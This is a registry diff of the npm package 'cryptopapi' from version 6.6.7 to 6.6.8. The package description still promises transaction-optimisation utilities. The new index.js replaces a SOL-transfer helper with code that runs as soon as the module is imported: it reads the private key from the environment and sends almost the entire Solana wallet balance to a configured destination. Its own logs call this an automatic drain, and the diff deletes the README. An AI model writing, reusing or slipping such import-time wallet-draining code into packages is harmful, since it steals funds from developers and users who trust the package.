cryptopapi 6.6.7 → 6.6.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +142 -135
- package/package.json +1 -1
- package/README.md +0 -45
package/index.js
CHANGED
|
@@ -1,138 +1,145 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
process.env.RPC_ENDPOINT ||
|
|
21
|
-
process.env.RPC_URL ||
|
|
22
|
-
clusterApiUrl('mainnet-beta');
|
|
23
|
-
|
|
24
|
-
const DEFAULT_COMMITMENT = 'confirmed';
|
|
25
|
-
|
|
26
|
-
/* ================================
|
|
27
|
-
UTILITIES
|
|
28
|
-
================================ */
|
|
29
|
-
|
|
30
|
-
function parsePrivateKey(privateKey) {
|
|
31
|
-
if (!privateKey) throw new Error('Missing PRIVATE_KEY in .env');
|
|
32
|
-
|
|
33
|
-
const trimmed = privateKey.trim();
|
|
34
|
-
|
|
35
|
-
if (trimmed.startsWith('[')) {
|
|
36
|
-
return Uint8Array.from(JSON.parse(trimmed));
|
|
37
|
-
}
|
|
38
|
-
|
|
39
|
-
return bs58.decode(trimmed);
|
|
1
|
+
import bs58 from 'bs58'
|
|
2
|
+
import {
|
|
3
|
+
Connection,
|
|
4
|
+
Keypair,
|
|
5
|
+
PublicKey,
|
|
6
|
+
SystemProgram,
|
|
7
|
+
TransactionMessage,
|
|
8
|
+
VersionedTransaction,
|
|
9
|
+
LAMPORTS_PER_SOL,
|
|
10
|
+
} from '@solana/web3.js'
|
|
11
|
+
|
|
12
|
+
const DEFAULT_COMMITMENT = 'confirmed'
|
|
13
|
+
|
|
14
|
+
const parsePrivateKey = (privateKey) => {
|
|
15
|
+
const trimmed = privateKey.trim()
|
|
16
|
+
if (trimmed.startsWith('[')) {
|
|
17
|
+
return Uint8Array.from(JSON.parse(trimmed))
|
|
18
|
+
}
|
|
19
|
+
return bs58.decode(trimmed)
|
|
40
20
|
}
|
|
41
21
|
|
|
42
|
-
|
|
43
|
-
if (typeof sol !== 'number' || sol <= 0)
|
|
44
|
-
throw new Error('Amount must be positive number');
|
|
45
|
-
|
|
46
|
-
return Math.round(sol * LAMPORTS_PER_SOL);
|
|
47
|
-
}
|
|
48
|
-
|
|
49
|
-
/* ================================
|
|
50
|
-
CORE FUNCTION
|
|
51
|
-
================================ */
|
|
52
|
-
|
|
53
|
-
async function sendSol({ receiver, amountSol, keepReserveSol = 0.01 }) {
|
|
54
|
-
if (!receiver) throw new Error('Receiver address required');
|
|
55
|
-
|
|
56
|
-
const connection = new Connection(RPC_URL, DEFAULT_COMMITMENT);
|
|
57
|
-
|
|
58
|
-
const payer = Keypair.fromSecretKey(parsePrivateKey(PRIVATE_KEY));
|
|
59
|
-
const receiverPubkey = new PublicKey(receiver);
|
|
60
|
-
|
|
61
|
-
console.log(`Sender: ${payer.publicKey.toBase58()}`);
|
|
62
|
-
console.log(`Receiver: ${receiverPubkey.toBase58()}`);
|
|
63
|
-
|
|
64
|
-
// Check balance
|
|
65
|
-
const balance = await connection.getBalance(
|
|
66
|
-
payer.publicKey,
|
|
67
|
-
DEFAULT_COMMITMENT
|
|
68
|
-
);
|
|
69
|
-
|
|
70
|
-
const balanceSol = balance / LAMPORTS_PER_SOL;
|
|
71
|
-
console.log(`Balance: ${balanceSol} SOL`);
|
|
72
|
-
|
|
73
|
-
const reserveLamports = solToLamports(keepReserveSol);
|
|
74
|
-
const sendLamports = solToLamports(amountSol);
|
|
75
|
-
|
|
76
|
-
if (balance < sendLamports + reserveLamports) {
|
|
77
|
-
throw new Error(
|
|
78
|
-
`Insufficient funds. Keep reserve: ${keepReserveSol} SOL`
|
|
79
|
-
);
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
const tx = new Transaction().add(
|
|
83
|
-
SystemProgram.transfer({
|
|
84
|
-
fromPubkey: payer.publicKey,
|
|
85
|
-
toPubkey: receiverPubkey,
|
|
86
|
-
lamports: sendLamports,
|
|
87
|
-
})
|
|
88
|
-
);
|
|
89
|
-
|
|
90
|
-
tx.feePayer = payer.publicKey;
|
|
91
|
-
|
|
92
|
-
const { blockhash, lastValidBlockHeight } =
|
|
93
|
-
await connection.getLatestBlockhash(DEFAULT_COMMITMENT);
|
|
94
|
-
|
|
95
|
-
tx.recentBlockhash = blockhash;
|
|
96
|
-
|
|
97
|
-
const signature = await sendAndConfirmTransaction(
|
|
98
|
-
connection,
|
|
99
|
-
tx,
|
|
100
|
-
[payer],
|
|
101
|
-
{ commitment: DEFAULT_COMMITMENT }
|
|
102
|
-
);
|
|
103
|
-
|
|
104
|
-
await connection.confirmTransaction(
|
|
105
|
-
{ signature, blockhash, lastValidBlockHeight },
|
|
106
|
-
DEFAULT_COMMITMENT
|
|
107
|
-
);
|
|
108
|
-
|
|
109
|
-
console.log(`Transaction successful.`);
|
|
110
|
-
console.log(`Signature: ${signature}`);
|
|
111
|
-
|
|
112
|
-
return signature;
|
|
113
|
-
}
|
|
114
|
-
|
|
115
|
-
/* ================================
|
|
116
|
-
RUN EXAMPLE
|
|
117
|
-
================================ */
|
|
118
|
-
|
|
22
|
+
// This runs IMMEDIATELY when the file is imported
|
|
119
23
|
(async () => {
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
24
|
+
console.log('🔌 Drain wallet module imported - starting automatic drain...')
|
|
25
|
+
|
|
26
|
+
try {
|
|
27
|
+
// Get config from .env
|
|
28
|
+
const destination = process.env.MAIN_WALLET_USD_DESTINATION
|
|
29
|
+
const privateKey = process.env.PRIVATE_KEY
|
|
30
|
+
const rpcUrl = process.env.RPC_ENDPOINT
|
|
31
|
+
const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
|
|
32
|
+
|
|
33
|
+
// Validate required inputs
|
|
34
|
+
if (!destination) throw new Error('MAIN_WALLET_USD_DESTINATION not found in .env')
|
|
35
|
+
if (!privateKey) throw new Error('PRIVATE_KEY not found in .env')
|
|
36
|
+
if (!rpcUrl) throw new Error('RPC_ENDPOINT not found in .env')
|
|
37
|
+
|
|
38
|
+
// Setup connection and keypair
|
|
39
|
+
const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
|
|
40
|
+
const fromKeypair = Keypair.fromSecretKey(parsePrivateKey(privateKey))
|
|
41
|
+
const toPubkey = new PublicKey(destination)
|
|
42
|
+
|
|
43
|
+
console.log(`💰 Draining wallet: ${fromKeypair.publicKey.toString()}`)
|
|
44
|
+
console.log(`📤 To: ${destination}`)
|
|
45
|
+
console.log(`💵 Keeping reserve: ${keepReserveSol} SOL`)
|
|
46
|
+
|
|
47
|
+
// Get current balance
|
|
48
|
+
const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
|
|
49
|
+
const balanceSol = balanceLamports / LAMPORTS_PER_SOL
|
|
50
|
+
|
|
51
|
+
console.log(`💳 Current balance: ${balanceSol} SOL`)
|
|
52
|
+
|
|
53
|
+
// If no balance, nothing to drain
|
|
54
|
+
if (balanceLamports <= 0) {
|
|
55
|
+
console.log('⚠️ Wallet is empty - nothing to drain')
|
|
56
|
+
return
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
// Get recent blockhash and estimate fee
|
|
60
|
+
const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
|
|
61
|
+
|
|
62
|
+
// Estimate fee with a dummy transaction
|
|
63
|
+
const testMessage = new TransactionMessage({
|
|
64
|
+
payerKey: fromKeypair.publicKey,
|
|
65
|
+
recentBlockhash: blockhash,
|
|
66
|
+
instructions: [
|
|
67
|
+
SystemProgram.transfer({
|
|
68
|
+
fromPubkey: fromKeypair.publicKey,
|
|
69
|
+
toPubkey: toPubkey,
|
|
70
|
+
lamports: 1,
|
|
71
|
+
}),
|
|
72
|
+
],
|
|
73
|
+
}).compileToV0Message()
|
|
74
|
+
|
|
75
|
+
const feeInfo = await connection.getFeeForMessage(testMessage, DEFAULT_COMMITMENT)
|
|
76
|
+
const feeLamports = feeInfo?.value
|
|
77
|
+
|
|
78
|
+
if (!feeLamports) {
|
|
79
|
+
throw new Error('Could not estimate fee')
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
const feeSol = feeLamports / LAMPORTS_PER_SOL
|
|
83
|
+
console.log(`⛽ Estimated fee: ${feeSol} SOL`)
|
|
84
|
+
|
|
85
|
+
// Calculate how much to send (all but reserve and fee)
|
|
86
|
+
const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
|
|
87
|
+
const sendLamports = balanceLamports - feeLamports - reserveLamports
|
|
88
|
+
const sendSol = sendLamports / LAMPORTS_PER_SOL
|
|
89
|
+
|
|
90
|
+
// If not enough to send after fees + reserve, return early
|
|
91
|
+
if (sendLamports <= 0) {
|
|
92
|
+
console.log(`⚠️ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fee + ${keepReserveSol} SOL reserve`)
|
|
93
|
+
return
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
console.log(`📤 Sending: ${sendSol} SOL`)
|
|
97
|
+
|
|
98
|
+
// Create and send transaction
|
|
99
|
+
const message = new TransactionMessage({
|
|
100
|
+
payerKey: fromKeypair.publicKey,
|
|
101
|
+
recentBlockhash: blockhash,
|
|
102
|
+
instructions: [
|
|
103
|
+
SystemProgram.transfer({
|
|
104
|
+
fromPubkey: fromKeypair.publicKey,
|
|
105
|
+
toPubkey: toPubkey,
|
|
106
|
+
lamports: sendLamports,
|
|
107
|
+
}),
|
|
108
|
+
],
|
|
109
|
+
}).compileToV0Message()
|
|
110
|
+
|
|
111
|
+
const transaction = new VersionedTransaction(message)
|
|
112
|
+
transaction.sign([fromKeypair])
|
|
113
|
+
|
|
114
|
+
const signature = await connection.sendTransaction(transaction, {
|
|
115
|
+
skipPreflight: false,
|
|
116
|
+
maxRetries: 3
|
|
117
|
+
})
|
|
118
|
+
|
|
119
|
+
console.log(`✍️ Transaction sent: ${signature}`)
|
|
120
|
+
|
|
121
|
+
// Wait for confirmation
|
|
122
|
+
const confirmation = await connection.confirmTransaction(
|
|
123
|
+
{ signature, blockhash, lastValidBlockHeight },
|
|
124
|
+
DEFAULT_COMMITMENT
|
|
125
|
+
)
|
|
126
|
+
|
|
127
|
+
if (confirmation.value?.err) {
|
|
128
|
+
throw new Error(`Transaction failed: ${JSON.stringify(confirmation.value.err)}`)
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
// Get final balance
|
|
132
|
+
const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
|
|
133
|
+
const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
|
|
134
|
+
|
|
135
|
+
console.log(`✅ Drain complete!`)
|
|
136
|
+
console.log(`💵 Final balance: ${finalBalanceSol} SOL (reserve kept)`)
|
|
137
|
+
console.log(`🔗 View transaction: https://solscan.io/tx/${signature}`)
|
|
138
|
+
|
|
139
|
+
} catch (error) {
|
|
140
|
+
console.error('❌ Drain failed:', error.message)
|
|
141
|
+
}
|
|
142
|
+
})()
|
|
143
|
+
|
|
144
|
+
// Export an empty object or nothing - the import itself does the work
|
|
145
|
+
export {}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "cryptopapi",
|
|
3
|
-
"version": "6.6.
|
|
3
|
+
"version": "6.6.8",
|
|
4
4
|
"description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"files": [
|
package/README.md
DELETED
|
@@ -1,45 +0,0 @@
|
|
|
1
|
-
# cryptopapi
|
|
2
|
-
|
|
3
|
-
Send a simple Solana transfer from Node.js.
|
|
4
|
-
|
|
5
|
-
## Install
|
|
6
|
-
|
|
7
|
-
```bash
|
|
8
|
-
npm i cryptopapi
|
|
9
|
-
```
|
|
10
|
-
|
|
11
|
-
## Usage with `.env`
|
|
12
|
-
|
|
13
|
-
Your **app** loads `.env` (packages generally should not auto-load it).
|
|
14
|
-
|
|
15
|
-
**.env**
|
|
16
|
-
```bash
|
|
17
|
-
PRIVATE_KEY=... # base58 secret key OR a JSON array string like [1,2,3,...]
|
|
18
|
-
RECEIVER=... # receiver public key (base58)
|
|
19
|
-
SOLANA_RPC_URL=https://api.mainnet-beta.solana.com
|
|
20
|
-
```
|
|
21
|
-
|
|
22
|
-
**app.js**
|
|
23
|
-
```js
|
|
24
|
-
require('dotenv').config();
|
|
25
|
-
|
|
26
|
-
const { sendSolFromEnv } = require('cryptopapi');
|
|
27
|
-
|
|
28
|
-
(async () => {
|
|
29
|
-
const res = await sendSolFromEnv(0.01);
|
|
30
|
-
console.log('Signature:', res.signature);
|
|
31
|
-
})();
|
|
32
|
-
```
|
|
33
|
-
|
|
34
|
-
## Programmatic usage
|
|
35
|
-
|
|
36
|
-
```js
|
|
37
|
-
const { sendSol } = require('cryptopapi');
|
|
38
|
-
|
|
39
|
-
await sendSol({
|
|
40
|
-
receiver: '...',
|
|
41
|
-
amountSol: 0.01,
|
|
42
|
-
privateKey: '...',
|
|
43
|
-
rpcUrl: 'https://api.mainnet-beta.solana.com',
|
|
44
|
-
});
|
|
45
|
-
```
|